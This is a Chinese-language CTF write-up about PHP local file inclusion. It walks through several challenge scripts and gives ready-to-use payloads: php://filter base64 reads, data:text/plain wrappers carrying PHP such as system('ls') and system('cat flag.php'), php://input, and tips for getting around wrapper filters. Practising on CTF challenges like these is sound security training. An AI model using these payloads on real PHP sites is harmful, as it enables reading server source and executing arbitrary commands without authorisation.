当前位置: 首页 > news >正文

文件包含的提升刷题

上一篇文章:一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含,那现在开始拔高提升刷题!

1.

拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。

直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,

看来我上一篇文章的就知道,直接伪协议开始读取,

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊,

这里因为要写入cookie,而且首页还提示了网站首页目录  /var/www/html/index.php,

那就稍作修改,抓包,添加cookie并且写入

 language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(2)

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

提示:PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf 
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的,需要可以自行复制
  •  上一篇文章:一篇文章带你入门文件包含-CSDN博客

  • 然后再来一道永恒的经典!!!

  • <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

这道题目有多种解法:

二话不说,先给大家献上干货,以下是CTF伪协议的常见用法,遇到直接自行复制使用即可

补充一下,第一点的<?php phpinfo()?>如果找不到flag,那也别傻站着,换个命令,<?php system("ls")?>或者直接<?php system("cat flag.php")?>

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的<?php phpinfo()?>,如果这个不行,也别傻站着,换个命令,你不知道对面会过滤什么,唯有多尝试。

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
 

这里拿一道题目演示成果:

?file=data:text/plain,<?php phpinfo()?>直接丢进去,就出现phpinfo,如果ctrl+f查找flag,发现没有,那也别傻站着,换个命令。<?php system("ls")?>

最后直接<?php system("cat fl4gisisish3r3.php")?>直接拿下

以上只是基本思路,因为看题目它过滤了php://,也就是用不了php:input协议那就换成data://text/plain协议,如果过滤的很严格,那就可以尝试下文件日志包含,以上只是提供了基本解题思路,如果你第一种方法失效了,就说明被过滤了,后面还有很多方法,别愣着,如果不知道对面过滤了什么,那就一个一个尝试。

以上只是其中微不足道的一种方法,这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题,那么你就可以说自己已经离开了文件上传的新手村了
 

祝大家CTF玩的开心

http://www.lryc.cn/news/263115.html

相关文章:

  • 入门级银行测试岗位招聘,只需具备这些基本条件!
  • 组里新来了个00后,真卷不过....
  • python 命令添加参数
  • LVS负载均衡器(DR模式)+nginx七层代理+tomcat多实例+php+mysql 实现负载均衡以及动静分离、数据库的调用!!!
  • jmx_exporter安装
  • 怎么给自己的微信公众号留言?
  • Unity中 URP 下的棋盘格Shader
  • 杰发科技AC7840——SPM电源管理之低功耗模式
  • PCL 点云匹配 之NICP(Normal ICP)
  • 华脉智联融合通信一张图
  • Flink系列之:窗口Top-N
  • 【k8s】--insecure-registry详解 ( 访问仓库、https、http)
  • ElementUI,修改el-cascader的默认样式
  • 外卖系统海外版:代码与美食的完美交融
  • Java代码解析:初学者的编程入门指南
  • 数据结构--图
  • AXure的情景交互
  • 数据库操作习题12.12
  • Redis之INCR命令,通常用于统计网站访问量,文章访问量,分布式锁
  • window运行celery报错
  • 玩转Docker(五):网络
  • 选择合适教育管理软件:必须考虑的10个关键问题
  • 前端不同架构的分层设计
  • android系统镜像文件
  • 相位的重要性
  • (三十三)补充Python经典面试题(吸收高级编程特性)
  • SQL进阶理论篇(四):索引的结构原理(B树与B+树)
  • springMVC-模型数据的处理
  • 计算机组成原理-微指令的设计与微程序控制单元的设计
  • PyTorch机器学习与深度学习